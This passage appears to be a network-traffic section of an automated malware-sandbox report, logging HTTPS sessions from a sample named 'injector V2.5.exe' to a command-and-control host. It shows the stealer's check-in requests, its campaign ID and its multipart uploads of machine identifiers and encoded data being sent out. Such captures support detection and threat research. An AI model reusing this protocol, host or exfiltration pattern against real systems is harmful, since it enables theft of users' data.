2024-11-23 13:17:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.88.250	443	6276	C:\Users\user\Desktop\injector V2.5.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:17:33 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: frogs-severz.sbs
2024-11-23 13:17:33 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 13:17:34 UTC	1011	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:17:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vuejsi4g5908akqbd8pt6vc909; expires=Wed, 19-Mar-2025 07:04:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wTI0sfSoTsv6AHqI6UyW%2BMAXbhWdD%2FQGUaFejjPt7VyJCAL6rtuIgmf7XFxvH60NQCnKJC9rTtm%2FQoLN72CqwujIof8Ym%2BQeErE05i9rnzvL3p%2Fny2i5nxACInqjv8hxxvkW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7170afeaf74390-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1770&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=907&delivery_rate=1578378&cwnd=243&unsent_bytes=0&cid=d2b39e449df2b7ea&ts=739&x=0"
2024-11-23 13:17:34 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 13:17:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.88.250	443	6276	C:\Users\user\Desktop\injector V2.5.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:17:35 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 86 Host: frogs-severz.sbs
2024-11-23 13:17:35 UTC	86	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 70 4f 6f 49 68 2d 2d 62 37 30 31 36 32 31 62 63 64 30 35 26 6a 3d 62 39 61 62 63 37 36 63 65 35 33 62 36 66 63 33 61 30 33 35 36 36 66 38 66 37 36 34 66 35 65 61 Data Ascii: act=recive_message&ver=4.0&lid=HpOoIh--b701621bcd05&j=b9abc76ce53b6fc3a03566f8f764f5ea
2024-11-23 13:17:36 UTC	1010	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:17:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v6tsc358lacbr8tuu581srvroi; expires=Wed, 19-Mar-2025 07:04:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rIZop66xzSTWo8212Elceq2WPQ9ZcF3me9W%2FZyse7h4MncXSknlutUZ7DzXRjrRns%2BbkLp29YOb2PRhv%2BLTnfkv41lON3vWhBCEHeLfASA2i6dVe4b%2BpWO1J6i%2Fg2Ug4zgX0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7170bcba88efa3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1966&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=986&delivery_rate=1465863&cwnd=32&unsent_bytes=0&cid=331e11a2ecaede37&ts=714&x=0"
2024-11-23 13:17:36 UTC	359	IN	Data Raw: 34 64 62 0d 0a 79 72 6a 72 78 33 62 46 57 55 71 70 2b 42 52 77 6c 70 6b 70 2b 37 4e 4a 58 63 62 5a 36 6a 65 59 38 79 78 79 76 52 4a 54 5a 74 69 78 6d 70 33 6c 54 50 46 31 61 4e 71 64 4e 6b 72 77 2b 45 57 49 31 6d 56 2f 70 37 33 49 44 66 36 53 51 41 48 59 50 6e 45 51 74 65 69 43 6a 61 59 61 74 6a 78 6d 69 35 31 73 55 71 7a 43 55 74 6e 57 4a 33 2f 38 2b 34 39 64 2b 70 4a 41 45 4e 78 35 50 42 61 30 71 64 43 48 6f 42 36 67 4f 69 37 49 6c 48 6b 56 38 2f 78 49 6b 64 30 67 4d 4b 36 30 79 42 75 36 6c 6c 5a 51 68 7a 41 65 41 36 79 72 39 59 71 30 48 65 63 6b 5a 74 4c 61 63 52 36 30 6f 77 75 61 31 69 73 78 6f 4c 32 42 58 2f 43 62 53 42 48 5a 65 43 4d 50 76 71 4c 51 69 61 4d 66 71 6a 4d 36 78 5a 35 2b 48 76 58 32 53 4e 6d 66 61 7a 69 38 2b 39 41 56 71 61 4e 4e 41 63 Data Ascii: 4dbyrjrx3bFWUqp+BRwlpkp+7NJXcbZ6jeY8yxyvRJTZtixmp3lTPF1aNqdNkrw+EWI1mV/p73IDf6SQAHYPnEQteiCjaYatjxmi51sUqzCUtnWJ3/8+49d+pJAENx5PBa0qdCHoB6gOi7IlHkV8/xIkd0gMK60yBu6llZQhzAeA6yr9Yq0HeckZtLacR60owua1isxoL2BX/CbSBHZeCMPvqLQiaMfqjM6xZ5+HvX2SNmfazi8+9AVqaNNAc
2024-11-23 13:17:36 UTC	891	IN	Data Raw: 4a 39 47 66 48 70 51 4a 44 63 4a 6a 2b 70 73 59 64 57 2b 70 5a 45 47 74 42 36 4e 51 6d 33 72 74 71 4a 35 56 72 6e 50 44 43 4c 77 6a 59 78 38 65 74 4d 6c 63 64 70 42 65 53 6b 78 6b 79 36 6c 6b 4a 51 68 7a 41 35 41 62 6d 72 30 59 61 6d 48 4b 77 70 4b 4e 6d 63 65 78 66 6d 2f 55 36 58 32 79 67 74 72 72 57 4f 56 76 4f 61 52 78 58 59 64 48 46 4b 2b 71 2f 43 79 66 31 55 68 6a 59 6a 78 35 42 68 45 72 54 6b 42 59 43 52 4c 44 50 6b 34 38 68 52 2b 35 56 50 46 4e 46 2b 4e 51 69 38 70 74 65 47 6f 78 36 6e 50 43 4c 44 6b 6e 63 66 2f 2f 52 4c 6e 4e 77 76 4f 61 69 36 6a 52 57 30 30 55 6b 49 6e 79 68 78 4b 72 32 72 79 4d 75 51 46 36 6b 31 4c 39 33 61 61 56 7a 74 75 30 79 56 6b 58 4e 2f 71 72 36 48 52 2f 75 44 53 78 37 4e 66 44 51 43 74 36 76 55 69 61 41 54 71 6a 55 75 7a Data Ascii: J9GfHpQJDcJj+psYdW+pZEGtB6NQm3rtqJ5VrnPDCLwjYx8etMlcdpBeSkxky6lkJQhzA5Abmr0YamHKwpKNmcexfm/U6X2ygtrrWOVvOaRxXYdHFK+q/Cyf1UhjYjx5BhErTkBYCRLDPk48hR+5VPFNF+NQi8pteGox6nPCLDkncf//RLnNwvOai6jRW00UkInyhxKr2ryMuQF6k1L93aaVztu0yVkXN/qr6HR/uDSx7NfDQCt6vUiaATqjUuz
2024-11-23 13:17:36 UTC	1369	IN	Data Raw: 33 65 30 39 0d 0a 51 6f 7a 59 6e 77 70 4e 2f 41 50 37 33 52 59 76 63 49 54 71 71 74 34 31 61 2b 70 42 50 48 74 56 37 63 55 72 36 72 38 4c 4a 2f 56 53 49 4e 6a 6a 5a 6b 48 30 44 74 73 35 49 6c 39 38 73 4b 65 53 6b 78 6b 79 36 6c 6b 4a 51 68 7a 41 36 41 72 61 6b 32 6f 2b 33 47 71 67 70 49 74 6d 65 65 42 62 34 39 55 4b 55 33 69 34 74 6f 4c 75 61 56 50 2b 57 51 42 33 4e 64 58 46 4b 2b 71 2f 43 79 66 31 55 6e 51 38 76 32 34 74 78 55 4d 48 34 52 5a 66 57 50 58 2b 37 39 5a 45 56 2f 5a 30 4f 53 4a 39 7a 50 51 6d 7a 72 64 57 62 72 78 69 6d 4b 53 2f 43 6b 33 77 54 2b 76 52 41 6c 64 51 35 4e 4b 75 7a 68 31 54 33 6e 45 55 55 33 7a 42 2f 52 4c 32 77 6d 74 48 6c 4e 61 6f 30 4f 73 69 4c 4e 43 66 33 39 55 57 65 78 32 73 67 36 71 4c 49 55 76 62 52 46 6c 44 65 66 44 30 46 Data Ascii: 3e09QozYnwpN/AP73RYvcITqqt41a+pBPHtV7cUr6r8LJ/VSINjjZkH0Dts5Il98sKeSkxky6lkJQhzA6Arak2o+3GqgpItmeeBb49UKU3i4toLuaVP+WQB3NdXFK+q/Cyf1UnQ8v24txUMH4RZfWPX+79ZEV/Z0OSJ9zPQmzrdWbrximKS/Ck3wT+vRAldQ5NKuzh1T3nEUU3zB/RL2wmtHlNao0OsiLNCf39UWex2sg6qLIUvbRFlDefD0F
2024-11-23 13:17:36 UTC	1369	IN	Data Raw: 4b 69 48 36 77 2f 4c 4d 75 58 66 52 7a 36 38 6b 65 52 33 53 77 74 71 62 36 41 58 2f 4f 55 51 68 33 63 59 6a 49 46 2b 75 61 61 6a 72 31 55 2f 33 73 50 2b 4b 31 56 55 75 75 31 55 74 6e 57 4a 33 2f 38 2b 34 6c 64 2f 5a 39 4b 41 74 46 69 50 77 4f 36 72 74 4b 42 6f 68 69 70 4e 54 72 44 6d 33 59 63 2b 2f 4e 43 6e 64 41 76 4f 36 69 38 79 42 75 36 6c 6c 5a 51 68 7a 41 5a 42 36 43 79 6d 4b 65 75 46 4b 41 72 50 74 44 61 61 56 7a 74 75 30 79 56 6b 58 4e 2f 6f 4c 43 43 58 50 6d 59 53 68 33 66 65 54 34 4e 73 71 58 53 6d 36 51 65 74 54 38 74 79 70 56 38 46 76 7a 33 52 4a 58 56 4f 54 54 6b 39 63 68 53 34 74 45 57 55 50 39 37 4a 79 65 6f 75 70 71 57 36 77 33 6e 50 43 53 4c 77 6a 59 62 2b 50 70 4b 6b 39 63 67 4f 71 6d 37 6a 56 2f 39 6e 55 34 51 33 48 59 33 43 62 4b 67 31 Data Ascii: KiH6w/LMuXfRz68keR3Swtqb6AX/OUQh3cYjIF+uaajr1U/3sP+K1VUuu1UtnWJ3/8+4ld/Z9KAtFiPwO6rtKBohipNTrDm3Yc+/NCndAvO6i8yBu6llZQhzAZB6CymKeuFKArPtDaaVztu0yVkXN/oLCCXPmYSh3feT4NsqXSm6QetT8typV8Fvz3RJXVOTTk9chS4tEWUP97JyeoupqW6w3nPCSLwjYb+PpKk9cgOqm7jV/9nU4Q3HY3CbKg1
2024-11-23 13:17:36 UTC	1369	IN	Data Raw: 6f 50 69 44 41 6e 48 67 54 38 76 64 47 32 5a 39 72 4f 4c 7a 37 30 42 58 64 69 30 4d 57 79 47 45 45 41 37 72 35 6d 70 62 72 44 65 63 38 4a 49 76 43 4e 68 2f 34 38 55 61 63 31 53 4d 34 70 37 71 45 55 66 65 63 53 68 6e 62 64 53 4d 57 76 4b 62 61 68 71 73 62 71 79 6b 6d 7a 70 70 36 55 72 71 37 54 49 47 52 63 33 2b 56 72 49 67 56 35 64 39 58 55 4e 68 38 63 56 7a 36 70 39 65 62 71 52 75 6e 4f 69 76 50 6b 58 45 55 38 76 70 49 6e 4e 49 75 4f 61 57 37 68 46 2f 39 6d 55 51 65 30 6e 59 31 41 72 7a 6f 6c 4d 6d 69 44 4f 64 6a 61 50 6d 58 65 42 76 33 2f 55 61 50 2b 52 70 2f 75 2f 57 52 46 66 32 64 44 6b 69 66 64 44 6f 4d 74 71 33 53 6a 4b 51 63 72 54 4d 6e 78 49 68 33 48 66 33 38 51 4a 54 65 4a 54 71 71 71 59 39 65 38 5a 6c 48 48 74 6b 77 66 30 53 39 73 4a 72 52 35 53 Data Ascii: oPiDAnHgT8vdG2Z9rOLz70BXdi0MWyGEEA7r5mpbrDec8JIvCNh/48Uac1SM4p7qEUfecShnbdSMWvKbahqsbqykmzpp6Urq7TIGRc3+VrIgV5d9XUNh8cVz6p9ebqRunOivPkXEU8vpInNIuOaW7hF/9mUQe0nY1ArzolMmiDOdjaPmXeBv3/UaP+Rp/u/WRFf2dDkifdDoMtq3SjKQcrTMnxIh3Hf38QJTeJTqqqY9e8ZlHHtkwf0S9sJrR5S
2024-11-23 13:17:36 UTC	1369	IN	Data Raw: 7a 4a 4a 79 48 4f 62 36 52 4e 6d 66 61 7a 69 38 2b 39 41 56 79 34 64 4a 46 39 41 79 47 41 4f 68 71 64 43 4b 72 68 6a 6e 4a 47 62 53 32 6e 45 65 74 4b 4d 4c 6c 4e 30 6d 4f 37 61 33 69 46 58 7a 6c 6b 51 43 30 48 38 38 42 37 71 74 79 49 69 33 47 36 77 2b 4b 38 2b 56 65 52 37 38 38 51 76 58 6b 53 77 6e 35 4f 50 49 65 66 6d 41 52 46 4c 34 61 69 63 44 74 72 6e 52 68 4b 6c 55 75 48 55 78 69 35 31 36 55 71 79 37 53 35 6a 63 4f 54 71 6c 73 59 4a 59 38 70 35 4c 46 64 42 30 4e 51 2b 30 75 74 53 47 70 52 4b 73 4f 69 33 49 6b 58 77 63 2f 65 6b 4c 31 35 45 73 4a 2b 54 6a 79 48 2f 68 6b 45 4d 63 6e 56 34 36 45 72 33 71 2b 34 65 75 45 36 73 74 61 4e 54 55 62 31 4c 7a 39 77 76 42 6b 53 49 78 71 4c 69 50 58 66 4b 55 54 68 76 66 66 7a 73 4b 76 62 72 51 68 61 38 47 71 44 67 Data Ascii: zJJyHOb6RNmfazi8+9AVy4dJF9AyGAOhqdCKrhjnJGbS2nEetKMLlN0mO7a3iFXzlkQC0H88B7qtyIi3G6w+K8+VeR788QvXkSwn5OPIefmARFL4aicDtrnRhKlUuHUxi516Uqy7S5jcOTqlsYJY8p5LFdB0NQ+0utSGpRKsOi3IkXwc/ekL15EsJ+TjyH/hkEMcnV46Er3q+4euE6staNTUb1Lz9wvBkSIxqLiPXfKUThvffzsKvbrQha8GqDg
2024-11-23 13:17:36 UTC	1369	IN	Data Raw: 56 7a 74 75 30 79 56 6b 58 4e 2f 70 4c 2b 45 56 76 32 66 51 52 33 51 64 7a 6f 4c 73 4b 62 49 68 71 41 63 71 7a 4d 6c 32 5a 42 38 41 50 33 79 52 70 66 5a 4f 54 7a 6b 39 63 68 53 34 74 45 57 55 4f 31 36 4d 67 69 73 70 64 58 4a 75 6c 71 2b 65 79 2f 48 32 69 35 53 35 75 6c 4c 6b 74 45 73 4d 62 61 36 67 46 72 77 6b 55 67 62 31 58 4d 34 41 4c 53 68 33 49 69 6f 46 61 59 37 4c 63 75 54 5a 42 2b 30 74 51 75 65 79 57 74 6e 35 49 79 45 58 73 75 53 57 46 44 41 50 69 68 45 76 61 53 61 30 65 55 56 74 54 59 67 7a 35 70 37 46 50 2f 36 53 70 72 52 4b 7a 79 6b 76 6f 4e 61 2f 4a 5a 44 47 74 5a 35 49 77 79 2b 75 74 71 46 6f 56 54 70 65 79 2f 54 32 69 35 53 78 50 68 41 6c 64 45 6d 4b 75 53 6b 78 6b 79 36 6c 6b 4a 51 68 7a 41 35 44 37 47 75 30 59 71 6d 47 71 77 78 4a 38 53 51 Data Ascii: Vztu0yVkXN/pL+EVv2fQR3QdzoLsKbIhqAcqzMl2ZB8AP3yRpfZOTzk9chS4tEWUO16MgispdXJulq+ey/H2i5S5ulLktEsMba6gFrwkUgb1XM4ALSh3IioFaY7LcuTZB+0tQueyWtn5IyEXsuSWFDAPihEvaSa0eUVtTYgz5p7FP/6SprRKzykvoNa/JZDGtZ5Iwy+utqFoVTpey/T2i5SxPhAldEmKuSkxky6lkJQhzA5D7Gu0YqmGqwxJ8SQ
2024-11-23 13:17:36 UTC	1369	IN	Data Raw: 64 64 31 64 55 35 66 2b 72 37 6d 56 37 31 67 30 41 58 6b 47 45 6e 43 61 71 72 33 34 37 70 48 4c 59 32 4a 49 76 55 4e 67 66 2f 39 30 32 55 78 47 51 75 73 72 69 65 55 72 61 5a 58 78 33 54 4d 41 35 4b 2b 72 43 61 30 65 55 68 70 44 55 6d 7a 49 78 6e 58 39 54 77 52 35 72 64 4b 6a 6a 6b 39 63 68 54 75 73 6b 64 58 70 39 30 49 45 54 69 2b 49 6a 53 38 45 66 77 61 33 72 55 31 47 39 53 34 72 73 54 79 35 39 72 4c 65 54 6a 79 42 4c 35 67 31 77 57 33 47 59 79 51 34 53 57 32 34 53 71 57 4b 6b 77 4b 4d 79 4b 59 41 6d 34 38 30 69 44 79 78 55 42 6a 37 65 4f 55 75 43 57 53 44 62 2f 4d 48 39 45 74 65 69 43 73 4f 56 63 35 77 52 6d 69 34 49 32 53 72 54 4f 53 4a 66 66 4c 43 6d 31 39 71 42 32 77 4b 73 4d 50 4e 68 6c 63 7a 43 39 75 4d 75 43 71 42 6a 6e 64 57 6a 4e 32 69 35 43 75 Data Ascii: dd1dU5f+r7mV71g0AXkGEnCaqr347pHLY2JIvUNgf/902UxGQusrieUraZXx3TMA5K+rCa0eUhpDUmzIxnX9TwR5rdKjjk9chTuskdXp90IETi+IjS8Efwa3rU1G9S4rsTy59rLeTjyBL5g1wW3GYyQ4SW24SqWKkwKMyKYAm480iDyxUBj7eOUuCWSDb/MH9EteiCsOVc5wRmi4I2SrTOSJffLCm19qB2wKsMPNhlczC9uMuCqBjndWjN2i5Cu
2024-11-23 13:17:36 UTC	1369	IN	Data Raw: 4c 4c 48 2f 71 2b 34 59 56 6f 74 46 50 47 73 39 39 50 67 50 32 72 74 53 48 35 51 76 70 49 6d 6a 64 32 69 35 42 75 72 74 5a 32 59 6c 72 65 4b 71 32 69 56 62 30 6b 6c 77 43 32 58 4d 6e 42 2f 32 57 35 4b 79 6f 47 61 49 31 4c 2f 57 6b 56 78 6a 6b 39 6b 53 65 6b 77 73 34 73 72 69 32 61 38 32 41 53 51 43 64 56 6a 49 53 75 65 69 55 79 62 31 55 2f 33 73 4a 77 59 70 37 48 66 4f 35 61 35 37 48 4b 48 2f 71 2b 34 77 56 6f 74 46 72 48 64 4a 31 50 77 50 34 69 64 43 5a 71 42 75 67 65 51 6a 4d 6a 48 56 53 75 72 74 48 32 59 6c 72 50 71 36 72 68 56 72 39 33 55 6b 4b 32 44 42 2f 52 4c 54 6f 67 73 6d 6b 48 72 63 32 4a 38 7a 57 63 42 7a 36 75 31 54 58 79 47 73 70 35 4f 50 62 47 37 71 44 44 6b 69 66 4e 7a 49 57 71 4b 37 5a 6e 36 5a 54 6d 51 55 46 32 5a 31 6d 45 62 62 4b 52 70 Data Ascii: LLH/q+4YVotFPGs99PgP2rtSH5QvpImjd2i5BurtZ2YlreKq2iVb0klwC2XMnB/2W5KyoGaI1L/WkVxjk9kSekws4sri2a82ASQCdVjISueiUyb1U/3sJwYp7HfO5a57HKH/q+4wVotFrHdJ1PwP4idCZqBugeQjMjHVSurtH2YlrPq6rhVr93UkK2DB/RLTogsmkHrc2J8zWcBz6u1TXyGsp5OPbG7qDDkifNzIWqK7Zn6ZTmQUF2Z1mEbbKRp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.21.88.250	443	6276	C:\Users\user\Desktop\injector V2.5.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:17:38 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WMPPQDEM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18110 Host: frogs-severz.sbs
2024-11-23 13:17:38 UTC	15331	OUT	Data Raw: 2d 2d 57 4d 50 50 51 44 45 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 35 32 31 44 31 44 44 34 32 46 46 34 44 34 46 46 31 43 36 33 33 33 33 32 31 46 43 44 44 39 0d 0a 2d 2d 57 4d 50 50 51 44 45 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 57 4d 50 50 51 44 45 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 37 30 31 36 32 31 62 63 64 30 35 0d 0a 2d 2d 57 4d 50 50 51 44 45 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --WMPPQDEMContent-Disposition: form-data; name="hwid"E8521D1DD42FF4D4FF1C6333321FCDD9--WMPPQDEMContent-Disposition: form-data; name="pid"2--WMPPQDEMContent-Disposition: form-data; name="lid"HpOoIh--b701621bcd05--WMPPQDEMContent-D
2024-11-23 13:17:38 UTC	2779	OUT	Data Raw: a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f c9 35 8b Data Ascii: \f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_5
2024-11-23 13:17:38 UTC	1007	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:17:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0u19kpvss9ned2544vrcdfmndo; expires=Wed, 19-Mar-2025 07:04:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=trRrkiaNBEp692dRuPm9wu5kWcvDRjXRhpiDhqPlkQcnEaqmx3M5Qwii7ATkhSZepTxXh4IDRJunsAF5zy3JcWWtG2%2FSJ7O4piKmy2Btzuer9ZEbbiJImLRVWHDMQKzlsVMG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7170c9d825436a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1621&sent=11&recv=22&lost=0&retrans=0&sent_bytes=2839&recv_bytes=19062&delivery_rate=1723730&cwnd=176&unsent_bytes=0&cid=d15605165b519eb9&ts=877&x=0"
2024-11-23 13:17:38 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 13:17:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	104.21.88.250	443	6276	C:\Users\user\Desktop\injector V2.5.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:17:40 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GQRL7OYO3CXCHC5RQ4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8791 Host: frogs-severz.sbs
2024-11-23 13:17:40 UTC	8791	OUT	Data Raw: 2d 2d 47 51 52 4c 37 4f 59 4f 33 43 58 43 48 43 35 52 51 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 35 32 31 44 31 44 44 34 32 46 46 34 44 34 46 46 31 43 36 33 33 33 33 32 31 46 43 44 44 39 0d 0a 2d 2d 47 51 52 4c 37 4f 59 4f 33 43 58 43 48 43 35 52 51 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 47 51 52 4c 37 4f 59 4f 33 43 58 43 48 43 35 52 51 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 37 30 31 36 Data Ascii: --GQRL7OYO3CXCHC5RQ4Content-Disposition: form-data; name="hwid"E8521D1DD42FF4D4FF1C6333321FCDD9--GQRL7OYO3CXCHC5RQ4Content-Disposition: form-data; name="pid"2--GQRL7OYO3CXCHC5RQ4Content-Disposition: form-data; name="lid"HpOoIh--b7016
2024-11-23 13:17:41 UTC	1008	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:17:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6d6cmndklrv8jf7ieshok43agi; expires=Wed, 19-Mar-2025 07:04:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jRmvhyTbxzoHQeaFNqZc6h7g%2FmCz7nw3ncN2lamyrQ9ySsbVY9JConrz%2BGVq2jXdH6JDmKb8HtUJGDWbj8OVmJpynMleIpzRx6h2mj4JIOeaxjYPto3hHy9HkPMO2%2Be3i5jH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7170d9ce92efa7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1928&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2838&recv_bytes=9730&delivery_rate=1482986&cwnd=56&unsent_bytes=0&cid=e4cd145dc35f0b2a&ts=860&x=0"
2024-11-23 13:17:41 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 13:17:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	104.21.88.250	443	6276	C:\Users\user\Desktop\injector V2.5.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:17:43 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=L77GLR83TI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20396 Host: frogs-severz.sbs
